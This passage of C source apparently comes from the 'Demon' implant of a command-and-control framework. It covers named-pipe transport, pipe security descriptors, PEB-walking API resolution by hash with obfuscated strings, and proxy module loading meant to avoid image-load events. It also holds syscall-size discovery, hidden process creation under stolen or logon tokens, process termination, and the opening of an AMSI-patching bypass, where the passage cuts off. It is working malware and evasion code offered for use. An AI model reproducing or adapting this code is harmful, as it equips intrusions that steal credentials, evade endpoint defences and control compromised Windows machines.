ERROR_MORE_DATA ) { PRINTF( "Failed to read the DemonId from pipe, error: %d\n", NtGetLastError() ) Resp->Buffer = NULL; Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } if ( Instance->Session.AgentID != DemonId ) { PRINTF( "The message doesn't have the correct DemonId: %x\n", DemonId ) Resp->Buffer = NULL; Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "Failed to read the PackageSize from pipe, error: %d\n", NtGetLastError() ) Resp->Buffer = NULL; Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } Resp->Buffer = Instance->Win32.LocalAlloc( LPTR, PackageSize ); Resp->Length = PackageSize; if ( ! PipeRead( Instance->Config.Transport.Handle, Resp ) ) { PRINTF( "PipeRead failed with to read 0x%x bytes from pipe\n", Resp->Length ) if ( Resp->Buffer ) { Instance->Win32.LocalFree( Resp->Buffer ); Resp->Buffer = NULL; } Resp->Length = 0; Instance->Session.Connected = FALSE; return FALSE; } //PRINTF("successfully read 0x%x bytes from pipe\n", PackageSize) } else if ( BytesSize > 0 ) { PRINTF( "Data in the pipe is too small: 0x%x\n", BytesSize ) } else { // nothing to read } } else { /* We disconnected */ PRINTF( "PeekNamedPipe failed with %d\n", NtGetLastError() ) Instance->Session.Connected = FALSE; return FALSE; } return TRUE; } /* Took it from https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/server_pivot_named_pipe.c#L286 * But seems like MeterPreter doesn't free everything so let's do this too. */ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr ) { SID_IDENTIFIER_AUTHORITY SidIdAuth = SECURITY_WORLD_SID_AUTHORITY; SID_IDENTIFIER_AUTHORITY SidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; EXPLICIT_ACCESSW ExplicitAccess = { 0 }; DWORD Result = 0; PACL DAcl = NULL; /* zero them out. */ MemSet( SmbSecAttr, 0, sizeof( SMB_PIPE_SEC_ATTR ) ); MemSet( SecurityAttr, 0, sizeof( PSECURITY_ATTRIBUTES ) ); if ( ! Instance->Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) ) { PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() ); return; } PRINTF( "SmbSecAttr->Sid: %p\n", SmbSecAttr->Sid ); ExplicitAccess.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; ExplicitAccess.grfAccessMode = SET_ACCESS; ExplicitAccess.grfInheritance = NO_INHERITANCE; ExplicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; ExplicitAccess.Trustee.ptstrName = SmbSecAttr->Sid; Result = Instance->Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl ); if ( Result != ERROR_SUCCESS ) { PRINTF( "SetEntriesInAclW failed: %u\n", Result ); } PRINTF( "DACL: %p\n", DAcl ); if ( ! Instance->Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) ) { PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() ); } PRINTF( "sidLow: %p\n", SmbSecAttr->SidLow ); SmbSecAttr->SAcl = MmHeapAlloc( MAX_PATH ); if ( ! Instance->Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) ) { PRINTF( "InitializeAcl failed: %u\n", NtGetLastError() ); } if ( ! Instance->Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) ) { PRINTF( "AddMandatoryAce failed: %u\n", NtGetLastError() ); } // now build the descriptor SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH ); if ( ! Instance->Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) ) { PRINTF( "InitializeSecurityDescriptor failed: %u\n", NtGetLastError() ); } if ( ! Instance->Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) ) { PRINTF( "SetSecurityDescriptorDacl failed: %u\n", NtGetLastError() ); } if ( ! Instance->Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) ) { PRINTF( "SetSecurityDescriptorSacl failed: %u\n", NtGetLastError() ); } SecurityAttr->lpSecurityDescriptor = SmbSecAttr->SecDec; SecurityAttr->bInheritHandle = FALSE; SecurityAttr->nLength = sizeof( SECURITY_ATTRIBUTES ); } VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr ) { if ( SmbSecAttr->Sid ) { Instance->Win32.FreeSid( SmbSecAttr->Sid ); SmbSecAttr->Sid = NULL; } if ( SmbSecAttr->SidLow ) { Instance->Win32.FreeSid( SmbSecAttr->SidLow ); SmbSecAttr->SidLow = NULL; } if ( SmbSecAttr->SAcl ) { MmHeapFree( SmbSecAttr->SAcl ); SmbSecAttr->SAcl = NULL; } if ( SmbSecAttr->SecDec ) { MmHeapFree( SmbSecAttr->SecDec ); SmbSecAttr->SecDec = NULL; } } #endif ================================================ FILE: payloads/Demon/src/core/Win32.c ================================================ #include #include #include #include #include #include #include /*! * Extended String Hasher * @param String * @param Length * @param Upper * @return */ ULONG HashEx( IN PVOID String, IN ULONG Length, IN BOOL Upper ) { ULONG Hash = HASH_KEY; PUCHAR Ptr = String; if ( ! String ) { return 0; } do { UCHAR character = *Ptr; if ( ! Length ) { if ( ! * Ptr ) { break; } } else { if ( ( ULONG ) ( C_PTR( Ptr ) - String ) >= Length ) { break; } if ( !*Ptr ) { ++Ptr; } } if ( Upper ) { if ( character >= 'a' ) { character -= 0x20; } } Hash = ( ( Hash << 5 ) + Hash ) + character; ++Ptr; } while ( TRUE ); return Hash; } /*! * load module from PEB InLoadOrderModuleList by Hash * @param Hash * @return */ PVOID LdrModulePeb( IN DWORD Hash ) { PLDR_DATA_TABLE_ENTRY Ldr = NULL; PLIST_ENTRY Hdr = NULL; PLIST_ENTRY Ent = NULL; PPEB Peb = NULL; /* Get pointer to list */ if ( ! Instance->Teb ) { Instance->Teb = NtCurrentTeb(); } Peb = Instance->Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; Ent = Hdr->Flink; for ( ; Hdr != Ent ; Ent = Ent->Flink ) { Ldr = C_PTR( Ent ); /* Compare the DLL Name! */ if ( ( HashEx( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length, TRUE ) == Hash ) || Hash == 0 ) { return Ldr->DllBase; } } return NULL; } /*! * load module from PEB InLoadOrderModuleList by String * @param Module name of module (needs to be upper case: MODULE.DLL) * @return */ PVOID LdrModulePebByString( IN LPWSTR Module ) { PLDR_DATA_TABLE_ENTRY Ldr = NULL; PLIST_ENTRY Hdr = NULL; PLIST_ENTRY Ent = NULL; PPEB Peb = NULL; LPWSTR Name = { 0 }; ULONG Idx = 0; /* Get pointer to list */ if ( ! Instance->Teb ) { Instance->Teb = NtCurrentTeb(); } Name = MmHeapAlloc( MAX_PATH ); Peb = Instance->Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; Ent = Hdr->Flink; for ( ; Hdr != Ent ; Ent = Ent->Flink ) { Ldr = C_PTR( Ent ); if ( Ldr->BaseDllName.Length <= 260 ) { MemCopy( Name, Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ); /* turn the module name from PEB to upper */ do { if ( Idx < Ldr->BaseDllName.Length ) { if ( Name[ Idx ] >= 'a' ) { Name[ Idx ] -= 0x20; } } else { break; } Idx++; } while ( TRUE ); Idx = 0; /* Compare the DLL Name! */ if ( ( StringCompareW( Name, Module ) == 0 ) || Module == NULL ) { return Ldr->DllBase; } MemZero( Name, MAX_PATH ); } } if ( Name ) { MemZero( Name, MAX_PATH ); MmHeapFree( Name ); Name = NULL; } return NULL; } /*! * Search for a DLL on the PEB module list * * @param ModuleName module name * @return */ PVOID LdrModuleSearch( IN LPWSTR ModuleName) { PVOID FirstEntry = NULL; PLDR_DATA_TABLE_ENTRY Entry = NULL; WCHAR Name[ 260 ] = { 0 }; WCHAR Dll[ 5 ] = { 0 }; Dll[ 3 ] = HideChar( 'L' ); Dll[ 1 ] = HideChar( 'D' ); Dll[ 4 ] = HideChar( '\0' ); Dll[ 2 ] = HideChar( 'L' ); Dll[ 0 ] = HideChar( '.' ); Entry = Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; FirstEntry = &Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; StringCopyW( Name, ModuleName ); if ( ! EndsWithIW( ModuleName, Dll ) ) { StringConcatW( Name, Dll ); } MemZero( Dll, sizeof( Dll ) ); do { if ( ! StringCompareIW( Name, Entry->BaseDllName.Buffer ) ) { MemZero( Name, sizeof( Name ) ); return Entry->DllBase; } Entry = Entry->InLoadOrderLinks.Flink; } while ( Entry != FirstEntry ); MemZero( Name, sizeof( Name ) ); return NULL; } /*! * Load Library by string name. * * @note * based on how it is configured to load the module * it either proxy calls LoadLibraryW using RtlRegisterWait/RtlCreateTimer/RtlQueueWorkItem * or it directly uses LdrLoadDll. * * @param ModuleName module name to load * @return */ PVOID LdrModuleLoad( IN LPSTR ModuleName ) { UNICODE_STRING UnicodeString = { 0 }; WCHAR NameW[ 260 ] = { 0 }; PVOID Module = { 0 }; USHORT DestSize = 0; HANDLE Event = NULL; HANDLE Queue = NULL; HANDLE Timer = NULL; DWORD Count = 5; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! ModuleName ) { return NULL; } /* convert module ansi string to unicode string */ CharStringToWCharString( NameW, ModuleName, StringLengthA( ModuleName ) ); /* get size of module unicode string */ DestSize = StringLengthW( NameW ) * sizeof( WCHAR ); /* check if the module is already loaded */ Module = LdrModuleSearch( NameW ); /* if found, avoid generating an image-load event */ if ( Module ) { return Module; } /* if proxy module loading is enabled */ if ( Instance->Config.Implant.ProxyLoading ) { /* load library using RtlRegisterWait + LoadLibraryW */ if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance->Win32.RtlRegisterWait ) { PUTS( "Loading module using RtlRegisterWait" ) /* create an event for end of module loading */ if ( ! NT_SUCCESS( NtStatus = SysNtCreateEvent( &Event, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) ) { goto DEFAULT; } /* call LoadLibraryW */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { PRINTF( "RtlRegisterWait: %p\n", NtStatus ) goto DEFAULT; } } /* load library using RtlCreateTimer + LoadLibraryW */ else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance->Win32.RtlCreateTimer ) { PUTS( "Loading module using RtlCreateTimer" ) /* create timer queue */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ) ) ) { PRINTF( "RtlCreateTimerQueue Failed => %p\n", NtStatus ) goto DEFAULT; } /* call LoadLibraryW */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { PRINTF( "RtlCreateTimer: %p\n", NtStatus ) goto DEFAULT; } } /* load library using RtlQueueWorkItem + LoadLibraryW */ else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance->Win32.RtlQueueWorkItem ) { PUTS( "Loading module using RtlQueueWorkItem" ) /* call LoadLibraryW and load specified module */ if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlQueueWorkItem( C_PTR( Instance->Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) { PRINTF( "RtlQueueWorkItem Failed: %p\n", NtStatus ) /* if we failed to load the module via RtlQueueWorkItem + LoadLibraryW then * try to load it using LdrLoadDll */ goto DEFAULT; } } else { goto DEFAULT; } do { /* after 5 times checking give up. * use LdrLoadDll instead */ if ( ! Count ) { break; } /* now let's try to get the module * if we failed to load the module then try using LdrLoadDll * NOTE: we are getting the module by string because there are some hash collisions * when using LdrModulePeb */ if ( ( Module = LdrModulePebByString( NameW ) ) ) { break; } /* a little delay between each PEB check */ SharedSleep( 100 ); /* decrease counter */ Count--; } while ( TRUE ); /* if module still hasn't been found then go to default */ if ( ! Module ) { PUTS( "Module was not loaded, try with default technique" ) goto DEFAULT; } } else { DEFAULT: /* load library using LdrLoadDll */ if ( Instance->Win32.LdrLoadDll ) { PUTS( "Loading module using LdrLoadDll" ) /* prepare unicode string */ UnicodeString.Buffer = NameW; UnicodeString.Length = DestSize; UnicodeString.MaximumLength = DestSize + sizeof( WCHAR ); if ( ! NT_SUCCESS( NtStatus = Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) { PRINTF( "LdrLoadDll Failed: %p\n", NtStatus ) NtSetLastError( NtStatus ); } } } END: /* clear stuff from stack */ MemZero( NameW, sizeof( NameW ) ); MemZero( &UnicodeString, sizeof( UnicodeString ) ); PRINTF( "Module \"%s\": %p\n", ModuleName, Module ) /* close event end */ if ( Event ) { SysNtClose( Event ); Event = NULL; } /* close queue */ if ( Queue ) { Instance->Win32.RtlDeleteTimerQueue( Queue ); Queue = NULL; } return Module; } /*! * gets the function pointer * @param Module * @param FunctionHash * @return */ PVOID LdrFunctionAddr( IN PVOID Module, IN DWORD Hash ) { PIMAGE_NT_HEADERS NtHeader = { 0 }; PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 }; SIZE_T ExpDirectorySize = { 0 }; PDWORD AddrOfFunctions = { 0 }; PDWORD AddrOfNames = { 0 }; PWORD AddrOfOrdinals = { 0 }; PVOID FunctionAddr = { 0 }; PCHAR FunctionName = { 0 }; ANSI_STRING AnsiString = { 0 }; if ( ! Module || ! Hash ) return NULL; NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size ); AddrOfNames = C_PTR( Module + ExpDirectory->AddressOfNames ); AddrOfFunctions = C_PTR( Module + ExpDirectory->AddressOfFunctions ); AddrOfOrdinals = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals ); for ( DWORD i = 0; i < ExpDirectory->NumberOfNames; i++ ) { FunctionName = ( PCHAR ) Module + AddrOfNames[ i ]; if ( HashEx( FunctionName, 0, TRUE ) == Hash ) { FunctionAddr = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] ); /* if this is a redirect function then use LdrGetProcedureAddress */ if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ExpDirectory && ( ULONG_PTR ) FunctionAddr < ( ULONG_PTR ) ExpDirectory + ExpDirectorySize ) { AnsiString.Length = StringLengthA( FunctionName ); AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR ); AnsiString.Buffer = FunctionName; if ( Instance->Win32.LdrGetProcedureAddress ) { if ( ! NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) { return NULL; } } else { return NULL; } } return FunctionAddr; } } PRINTF( "API not found: FunctionHash:[%lx]\n", Hash ) return NULL; } /* * Get the size of an NtApi by finding two consecutive syscalls * and returning the difference of their addresses. * This can't be static because it changes between releases. */ UINT32 GetSyscallSize( VOID ) { PVOID Module = Instance->Modules.Ntdll; PIMAGE_NT_HEADERS NtHeader = { 0 }; PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 }; SIZE_T ExpDirectorySize = { 0 }; PDWORD AddrOfFunctions = { 0 }; PDWORD AddrOfNames = { 0 }; PWORD AddrOfOrdinals = { 0 }; PVOID FunctionAddr = { 0 }; PCHAR FunctionName = { 0 }; ANSI_STRING AnsiString = { 0 }; PVOID Addr1 = NULL; PVOID Addr2 = NULL; UINT32 SyscallSize = 0; UINT32 Offset = 0; if ( ! Module ) return 0; if ( Instance->Syscall.Size ) return Instance->Syscall.Size; NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size ); AddrOfNames = C_PTR( Module + ExpDirectory->AddressOfNames ); AddrOfFunctions = C_PTR( Module + ExpDirectory->AddressOfFunctions ); AddrOfOrdinals = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals ); for ( DWORD i = 0; i < ExpDirectory->NumberOfNames; i++ ) { /* ignore redirect functions */ if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ExpDirectory && ( ULONG_PTR ) FunctionAddr < ( ULONG_PTR ) ExpDirectory + ExpDirectorySize ) continue; // make sure is a system call FunctionName = ( PCHAR ) Module + AddrOfNames[ i ]; if (*(USHORT*)FunctionName != 0x775a) continue; // save one random syscall addr if ( ! Addr1 ) { Addr1 = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] ); continue; } else { // get the distance between our saved syscall addr and this one Addr2 = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] ); Offset = ( ULONG_PTR ) Addr1 > ( ULONG_PTR ) Addr2 ? ( ULONG_PTR ) Addr1 - ( ULONG_PTR ) Addr2 : ( ULONG_PTR ) Addr2 - ( ULONG_PTR ) Addr1; // if the distance is the smallest we have seen so far, save it if ( ! SyscallSize || Offset < SyscallSize ) { SyscallSize = Offset; } } } // by now, we should have the size of a syscall stub Instance->Syscall.Size = SyscallSize; return Instance->Syscall.Size; } /*! * opens a handle to the specified pid with specified access * @param ProcessID * @param Access * @return */ HANDLE ProcessOpen( IN DWORD Pid, IN DWORD Access ) { HANDLE Process = NULL; CLIENT_ID Client = { 0 }; OBJ_ATTR ObjAttr = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); /* set our target process */ Client.UniqueProcess = C_PTR( Pid ); /* open process handle */ if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcess( &Process, Access, &ObjAttr, &Client ) ) ) { PRINTF( "NtOpenProcess Failed => %lx\n", NtStatus ) NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } return Process; } /*! * checks if a process runs under Wow64 * @param Process * @return */ BOOL ProcessIsWow( IN HANDLE Process ) { PVOID IsWow64 = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! Process ) { return FALSE; } if ( Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { return FALSE; } if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationProcess( Process, ProcessWow64Information, &IsWow64, sizeof( PVOID ), NULL ) ) ) { PRINTF( "[!] NtQueryInformationProcess Failed: Handle[%x] Status[%lx]\n", Process, NtStatus ) return FALSE; } return U_PTR( IsWow64 ); } /*! * Starts a Process * * @param x86 start 32-bit/wow64 process * @param App App path * @param CmdLine Process to run * @param Flags Process Flags * @param ProcessInfo Process Information struct * @param Piped Send output back * @param AnonPipes Uses Anon pipe struct as default pipe. only works if Piped is to False * @brief Spawns a process with current set settings (ppid spoof, blockdll, token) * @return */ BOOL ProcessCreate( IN BOOL x86, IN LPWSTR App, IN LPWSTR CmdLine, IN DWORD Flags, OUT PROCESS_INFORMATION* ProcessInfo, IN BOOL Piped, IN PANONPIPE DataAnonPipes ) { PPACKAGE Package = NULL; PANONPIPE AnonPipe = { 0 }; STARTUPINFOW StartUpInfo = { 0 }; BOOL Return = TRUE; PVOID Wow64Value = NULL; BOOL DisabledWow64Redir = FALSE; BOOL DisabledImp = FALSE; HANDLE PrimaryToken = NULL; StartUpInfo.cb = sizeof( STARTUPINFOA ); StartUpInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow = SW_HIDE; Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_PROC_CREATE ); if ( Piped ) { PUTS( "Piped enabled" ) AnonPipe = Instance->Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) ); MemSet( AnonPipe, 0, sizeof( ANONPIPE ) ); AnonPipesInit( AnonPipe ); StartUpInfo.hStdError = AnonPipe->StdOutWrite; StartUpInfo.hStdOutput = AnonPipe->StdOutWrite; StartUpInfo.hStdInput = NULL; } if ( DataAnonPipes ) { PUTS( "Using specified anon pipes" ) StartUpInfo.hStdError = DataAnonPipes->StdOutWrite; StartUpInfo.hStdOutput = DataAnonPipes->StdOutWrite; StartUpInfo.hStdInput = NULL; } #if _M_IX86 if ( ! x86 && Instance->Win32.Wow64DisableWow64FsRedirection ) { PUTS( "Enable Wow64 process support" ) if ( ! Instance->Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) ) { PRINTF( "Failed to disable wow64 redirection: %d : %x\n", NtGetLastError(), Wow64Value ) PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } DisabledWow64Redir = TRUE; } #endif if ( Instance->Tokens.Impersonate ) { PUTS( "Impersonate" ) LPWSTR lpCurrentDirectory = NULL; WCHAR Path[ MAX_PATH * 2 ] = { 0 }; if ( Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) { lpCurrentDirectory = Path; } DisabledImp = TRUE; TokenImpersonate( FALSE ); TokenSetSeImpersonatePriv( TRUE ); PRINTF( "CmdLine : %ls\n", CmdLine ) PRINTF( "lpCurrentDirectory: %ls\n", lpCurrentDirectory ) if ( Instance->Tokens.Token->Type == TOKEN_TYPE_STOLEN ) { // Duplicate to make primary token (try delegation first) if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) ) { if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) ) { PRINTF( "Failed to duplicate token [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } PUTS( "CreateProcessWithTokenW" ) if ( ! Instance->Win32.CreateProcessWithTokenW( PrimaryToken, LOGON_NETCREDENTIALS_ONLY, App, CmdLine, Flags | CREATE_NO_WINDOW, NULL, lpCurrentDirectory, &StartUpInfo, ProcessInfo ) ) { PRINTF( "CreateProcessWithTokenW: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } else if ( Instance->Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK ) { PUTS( "CreateProcessWithLogonW" ) PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword ) if ( ! Instance->Win32.CreateProcessWithLogonW( Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword, LOGON_NETCREDENTIALS_ONLY, App, CmdLine, Flags | CREATE_NO_WINDOW, NULL, lpCurrentDirectory, &StartUpInfo, ProcessInfo ) ) { PRINTF( "CreateProcessWithLogonW: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } } else { if ( ! Instance->Win32.CreateProcessW( App, CmdLine, NULL, NULL, TRUE, Flags | CREATE_NO_WINDOW, NULL, NULL, &StartUpInfo, ProcessInfo ) ) { PRINTF( "CreateProcessA: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); Return = FALSE; goto Cleanup; } } /* Check if we managed to spawn a process */ if ( ProcessInfo->hProcess && Instance->Config.Implant.Verbose ) { PUTS( "Send info back" ) if ( ! CmdLine ) { PackageAddWString( Package, App ); PackageAddInt32( Package, ProcessInfo->dwProcessId ); PackageTransmit( Package ); } else { INT32 i = 0; INT32 x = ( INT32 ) StringLengthW( CmdLine ); PWCHAR s = Instance->Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) ); MemCopy( s, CmdLine, x ); // remove the arguments. we are just interested in the process name/path for ( ; i < x; i++ ) { if ( s[ i ] == ' ' ) break; } PUTS( s ) s[ i ] = 0; PRINTF( "Process start :: Path:[%ls] ProcessId:[%d]\n", s, ProcessInfo->dwProcessId ); PackageAddWString( Package, s ); PackageAddInt32( Package, ProcessInfo->dwProcessId ); PackageTransmit( Package ); DATA_FREE( s, x ); } } Cleanup: #if _M_IX86 if ( DisabledWow64Redir ) { Instance->Win32.Wow64RevertWow64FsRedirection( Wow64Value ); } #endif if ( Return && Piped ) { JobAdd( Instance->CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe ); } else if ( ! Return && Piped ) { if ( AnonPipe->StdOutWrite ) { SysNtClose( AnonPipe->StdOutWrite ); AnonPipe->StdOutWrite = NULL; } if ( AnonPipe->StdOutRead ) { SysNtClose( AnonPipe->StdOutRead ); AnonPipe->StdOutRead = NULL; } DATA_FREE( AnonPipe, sizeof( ANONPIPE ) ); } if ( PrimaryToken ) { SysNtClose( PrimaryToken ); } if ( DisabledImp ) { TokenImpersonate( TRUE ); } return Return; } BOOL ProcessTerminate( IN HANDLE hProcess, IN DWORD Pid) { BOOL Success = FALSE; BOOL OpenedHandle = FALSE; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; if ( ! hProcess ) { if ( ( hProcess = ProcessOpen( Pid, PROCESS_TERMINATE ) ) == NULL ) { PRINTF( "[INJECT] Failed to open process handle: %d\n", NtGetLastError() ) hProcess = NULL; goto END; } else { PRINTF( "[INJECT] Opened process handle to %d: %x\n", Pid, hProcess ) OpenedHandle = TRUE; } } else { PRINTF( "[INJECT] Using specified process handle: %x\n", hProcess ) } NtStatus = SysNtTerminateProcess( hProcess, STATUS_SUCCESS ); if ( NT_SUCCESS( NtStatus ) ) { Success = TRUE; } else { PUTS( "Failed to terminate process" ) } END: if ( OpenedHandle ) { SysNtClose( hProcess ); } return Success; } /*! * takes a snapshot of current running processes * @param SnapShot * @param Size * @return */ NTSTATUS ProcessSnapShot( OUT PSYSTEM_PROCESS_INFORMATION* SnapShot, OUT PSIZE_T Size ) { ULONG Length = 0; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! SnapShot || ! Size ) { return STATUS_INVALID_PARAMETER; } /* Get our system process list */ if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, NULL, 0, &Length ) ) ) { PRINTF( "SystemProcessInformation Length: %d\n", Length ); /* just in case that some processes or threads where created between our calls */ Length += 0x1000; /* allocate memory */ *SnapShot = MmHeapAlloc( Length ); if ( *SnapShot ) { if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, *SnapShot, Length, &Length ) ) ) { PRINTF( "NtQuerySystemInformation Failed: Status[%lx]\n", NtStatus ) goto LEAVE; } } else NtStatus = STATUS_NO_MEMORY; *Size = Length; } else { /* we expected to fail. something doesn't seem right... */ NtStatus = STATUS_INVALID_PARAMETER; } LEAVE: return NtStatus; } BOOL ReadLocalFile( IN LPCWSTR FileName, OUT PVOID* FileContent, OUT PDWORD FileSize ) { BOOL Success = FALSE; DWORD Read = 0; HANDLE hFile = NULL; hFile = Instance->Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 goto Cleanup; } *FileSize = Instance->Win32.GetFileSize( hFile, 0 ); *FileContent = Instance->Win32.LocalAlloc( LPTR, *FileSize ); if ( ! Instance->Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) { PUTS( "ReadFile: Failed" ) PACKAGE_ERROR_WIN32 goto Cleanup; } Success = TRUE; Cleanup: if ( hFile ) { SysNtClose( hFile ); hFile = NULL; } if ( ! Success && *FileContent ) { Instance->Win32.LocalFree( *FileContent ); *FileContent = NULL; *FileSize = 0; } return Success; } /* Patch AMSI * TODO: remove this and replace it with hardware breakpoints */ BOOL BypassPatchAMSI( VOID ) { HINSTANCE hModuleAmsi = NULL; LPVOID pAddress = NULL; CHAR module[10] = { 0 }; #ifdef _M_AMD64 UCHAR amsiPatch[] = { 